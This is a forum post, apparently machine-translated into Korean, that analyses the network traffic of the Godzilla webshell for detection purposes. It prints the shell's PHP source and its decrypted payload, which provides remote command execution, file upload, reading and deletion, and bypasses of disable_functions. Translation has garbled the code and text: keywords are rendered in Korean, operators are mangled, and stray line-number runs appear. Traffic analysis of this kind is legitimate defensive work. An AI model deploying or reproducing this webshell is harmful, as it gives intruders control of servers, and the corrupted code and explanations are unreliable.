KoreanHackerTeam
Moderator
webshell 流量分析
이 기사는 Godzilla와 Ice Scorpion을 사례로 취하여 위에서 일반적으로 사용되는 두 개의 암호화 된 웹 쉘의 트래픽을 공격적이고 방어적인 대결에서 분석합니다.1 Godzilla
JSP 및 PHP를 다룰 때 Godzilla의 암호화 방법의 차이로 인해이 기사는 PHP 버전의 쉘에서 확장되어 작동 원리를 요약하고 설명합니다. 먼저 PHP 정적 웹 쉘을 생성하고 암호화자는 PHP_XOR_BASE64를 선택합니다.1.1 HTTP 请求头特征
1.1.1 User-Agent
Godzilla 클라이언트는 Java 언어로 작성되었습니다. 기본적으로 사용자 에이전트가 수정되지 않은 경우 사용자 에이전트는 Java/11.0.7과 유사합니다 (버전은 JDK 환경 버전에 따라 다름). 그러나 Godzilla는 사용자 정의 HTTP 헤더를 지원 하며이 기본 기능을 쉽게 제거 할 수 있습니다.1.1.2 Accept
승인 헤더는 텍스트/html, image/gif, image/jpeg, *; q=.2, */*; Q=.2이 기본 기능에 매우 익숙해야합니다. Ice Scorpion도 이전에 같은 수락으로 나타났습니다. 우연의 일치로 두 도구가 나타날 때이 기능이 나타나는 이유는 무엇입니까? 실제로, 이것은 JDK가 도입 한 기능이기도하며, 저자의 사용자 정의 수락이 아닙니다. 동일한 기본 기능을 사용자 정의 헤더를 통해 제거 할 수 있으며 기본적으로 보조 감지 기능으로 만 사용할 수 있습니다.

1.2 请求体特征
1.2.1 PHP_XOR_BASE64

기본 쉘의 비밀번호와 키를 예로 들어 생성 된 파일은 다음과 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
? php
session_start ();
@set_time_limit (0);
@error_reporting (0);
함수 E ($ d, $ k) {
for ($ i=0; $ itrlen ($ d); $ i ++) {
$ d [$ i]=$ d [$ i]^$ k [$ i+115];
}
반환 $ d;
}
함수 Q ($ D) {
return base64_encode ($ d);
}
함수 o ($ d) {
Base64_Decode ($ d)를 반환합니다.
}
$ p='패스';
$ v='페이로드';
$ t='3c6e0b8a9c15224a'; //MD5 (키) [:16]
if (isset ($ _ post [$ p])) {
$ f=o (e (O ($ _ post [$ p]), $ t);
if (isset ($ _ session [$ v])) {
$ l=$ _ 세션 [$ V];
$ a=폭발 ( '|', $ l);
Class C {public function nvoke ($ p) {Eval ($ p. '');}}
$ r=new C ();
$ r-nvoke ($ a [0]);
Echo substr (md5 ($ p. $ t), 0,16);
echo q (e (@run ($ f), $ t);
Echo substr (md5 ($ p. $ t), 16);
}또 다른{
$ _session [$ v]=$ f;
}
}
두 가지 핵심 영역이 있습니다. 첫 번째는 XOR 암호화 및 암호 해독을 수행하는 함수 E ($ d, $ k)이고, 두 번째는 Godzilla 클라이언트가 업로드 한 코드를 실행하고 결과를 얻는 두 개의 중첩 된 IFS입니다.
$ f=o (e (O ($ _ post [$ p]), $ t)); 21 행에서 Godzilla 클라이언트가 코드를 업로드 할 때 인코딩 암호화 프로세스를 얻을 수 있습니다.
원본 코드 -Base64 인코딩 -E XOR 암호화 용 기능 -Base64 인코딩
두 번째 if 문을 입력하십시오. 먼저 $ _session [$ v]가 존재하는지 여부를 결정하십시오. 클라이언트가 쉘을 처음 연결하면 페이로드라고하는 $ _session으로 코드 조각을 저장합니다. 후속 실행 기능과 결합 된이 페이로드는 후속 쉘 연결 중에 호출됩니다. 전체 쉘의 작동 원리는 기본적으로 여기에서 명확하게 설명 할 수 있습니다. 기사에서 흐름도를 사용하여 다음을 요약 할 수 있습니다.

클라이언트의 프록시를 구성하고 BURP를 사용하여 웹 쉘의 대화식 트래픽을 볼 수 있습니다.
클라이언트가 처음으로 연결되면 세 번의 연속 요청이 있으며 첫 번째 요청은 다음과 같습니다.

위에서 분석 한 암호화 원칙에 따라 간단한 암호 해독 스크립트를 작성하여 패스 데이터를 해독 할 수 있습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
? php
함수 E ($ d, $ k) {
for ($ i=0; $ itrlen ($ d); $ i ++) {
$ d [$ i]=$ d [$ i]^$ k [$ i+115];
}
반환 $ d;
}
함수 o ($ d) {
Base64_Decode ($ d)를 반환합니다.
}
$ p='패스';
$ v='페이로드';
$ t='3c6e0b8a9c15224a'; //MD5 (키) [:16]
echo o (e (o ( '데이터 해독 될 데이터'), $ t));
?
해독 된 데이터는 다음과 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196 년
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
? php
$ parameters=array ();
함수 실행 ($ pms) {
formatparameter ($ pms.'IlikeYou='. base64encode ('metoo '));
if ($ _session [ 'hoobpass_open_basedir']==true) {
@bypass_open_basedir ();
}
return base64encode (evalfunc ());
}
함수 bypass_open_basedir () {
//.
}
함수 형식 파라미터 ($ pms) {
글로벌 $ 매개 변수;
$ pms=폭발 ( '', $ pms);
foreach ($ pms as $ kv) {
$ kv=폭발 ( '=', $ kv);
if (sizeof ($ kv)=2) {
$ 매개 변수 [$ kv [0]]=Base64decode ($ kv [1]);
}
}
}
함수 evalfunc () {
@session_write_close ();
$ className=get ( 'CodeName');
$ methodName=get ( 'MethodName');
if ($ methodName!=null) {
if (strlen (trim ($ className)) 0) {
if ($ methodName=='IncludEcode') {
return includecode ();
}또 다른{
if (isset ($ _ session [$ className])) {
반환 평가 ($ _ 세션 [$ className]);
}또 다른{
return '{$ className} 부하';
}
}
}또 다른{
return $ methodName ();
}
}또 다른{
return 'methodname은 null';
}
}
함수 deletedir ($ p) {
$ m=@dir ($ p);
while (@$ f=$ m-Read ()) {
$ pf=$ p. '/'. $ f;
@chmod ($ pf, 0777);
if ((is_dir ($ pf)) ($ f!='.') ($ f!='.')) {
deletedir ($ pf);
@rmdir ($ pf);
} else if (is_file ($ pf) ($ f!='.') ($ f!='.')) {
@unlink ($ pf);
}
}
$ m-close ();
@chmod ($ p, 0777);
@rmdir ($ p)를 반환합니다.
}
함수 deletefile () {
$ f=get ( 'filename');
if (is_dir ($ f)) {
return deletedir ($ f)? 'ok':'fail';
}또 다른{
return (file_exists ($ f)?@unlink ($ f)? 'ok':'fail':'fail');
}
}
함수 copyfile () {
$ srcfilename=get ( 'srcfilename');
$ destfilename=get ( 'destfilename');
if (@is_file ($ srcfilename)) {
if (copy ($ srcfilename, $ destfilename)) {
'OK'를 반환합니다.
}또 다른{
반환 '실패';
}
}또 다른{
반환 '대상이 존재하지 않거나 파일이 아니다';
}
}
함수 movefile () {
$ srcfilename=get ( 'srcfilename');
$ destfilename=get ( 'destfilename');
if (rename ($ srcfilename, $ destfilename)) {
'OK'를 반환합니다.
}또 다른{
반환 '실패';
}
}
함수 getBasicsInfo ()
{
//.
}
함수 getFile () {
//.
}
함수 readFileContent () {
$ filename=get ( 'filename');
if (@is_file ($ filename)) {
if (@is_readable ($ filename)) {
return file_get_contents ($ filename);
}또 다른{
반환 '허가 없음!
}
}또 다른{
'파일을 찾을 수 없다';
}
}
함수 uploadFile () {
$ filename=get ( 'filename');
$ fileValue=get ( 'FileValue');
if (@file_put_contents ($ filename, $ fileValue)!==false) {
'OK'를 반환합니다.
}또 다른{
반환 '실패';
}
}
함수 newdir () {
$ dir=get ( 'dirname');
if (@mkdir ($ dir, 0777, true)!==false) {
'OK'를 반환합니다.
}또 다른{
반환 '실패';
}
}
기능 newFile () {
$ filename=get ( 'filename');
if (@file_put_contents ($ filename, '')!==false) {
'OK'를 반환합니다.
}또 다른{
반환 '실패';
}
}
함수 execcommand () {
$ result='';
$ command=get ( 'cmdline');
$ padtjn=@ini_get ( 'disable_functions');
if (! empty ($ padtjn)) {
$ padtjn=preg_replace ( '/[,]+/', ',', $ padtjn);
$ padtjn=exploit ( ',', $ padtjn);
$ padtjn=array_map ( 'trim', $ padtjn);
} 또 다른 {
$ padtjn=array ();
}
if (false!==strtoLower (php_os), 'win') {
$ command=$ command. '21 \ n';
}
if (is_callable ( 'system') 및! in_array ( 'system', $ padtjn)) {
ob_start ();
시스템 ($ command);
$ result=ob_get_contents ();
ob_end_clean ();
} else if (is_callable ( 'proc_open') 및! in_array ( 'proc_open', $ padtjn)) {
$ hone=proc_open ($ command, 배열 (배열 ( '파이프', 'r'), 배열 ( '파이프', 'w'), 배열 ( '파이프', 'w'), $ 파이프);
$ result=null;
while (! feof ($ pipes [1])) {
$ result.=fread ($ pipes [1], 1024);
}
@proc_close ($ 핸들);
} else if (is_callable ( 'passthru') 및! in_array ( 'passthru', $ padtjn)) {
ob_start ();
Passthru ($ Command);
$ result=ob_get_contents ();
ob_end_clean ();
} else if (is_callable ( 'shell_exec') 및! in_array ( 'shell_exec', $ padtjn)) {
$ result=shell_exec ($ command);
} else if (is_callable ( 'exec') 및! in_array ( 'exec', $ padtjn)) {
$ result=array ();
exec ($ command, $ result);
$ result=join (chr (10), $ result). chr (10);
} else if (is_callable ( 'exec') 및! in_array ( 'popen', $ padtjn)) {
$ fp=Popen ($ command, 'r');
$ result=null;
if (is_resource ($ fp)) {
while (! feof ($ fp)) {
$ result.=fread ($ fp, 1024);
}
}
@pclose ($ fp);
} 또 다른 {
return 'proc_open/passthru/shell_exec/exec/exec를 사용할 수 없습니다';
}
반환 $ 결과;
}
함수 execsql () {
//.
}
함수 pdoexec ($ databaseType, $ host, $ port, $ username, $ password, $ exectype, $ sql) {
//.
}
함수 Base64encode ($ data) {
return base64_encode ($ data);
}
기능 test () {
'OK'를 반환합니다.
}
함수 get ($ key) {
글로벌 $ 매개 변수;
if (isset ($ parameters [$ key]) {
반환 $ 매개 변수 [$ 키];
}또 다른{
널 리턴;
}
}
함수 includecode () {
@session_start ();
$ classCode=get ( 'Bincode');
$ codename=get ( 'CodeName');
$ _session [$ codename]=$ classCode;
@session_write_close ();
'OK'를 반환합니다.
}
함수 base64decode ($ string) {
return base64_decode ($ string);
}
?
run, hoobpass_open_basedir, formatparameter, evalfunc 등과 같은 20 개 이상의 기능 함수를 포함하여 전송 된 스크립트는 매우 길며 코드 실행, 파일 작동 및 데이터베이스 작동과 같은 많은 기능이 있습니다.
패킷이 반환되지 않았으며 이는 트래픽 식별의 특성 중 하나로 사용될 수 있습니다.
두 번째 데이터 패킷 및 암호 해독 상황은 다음과 같습니다.
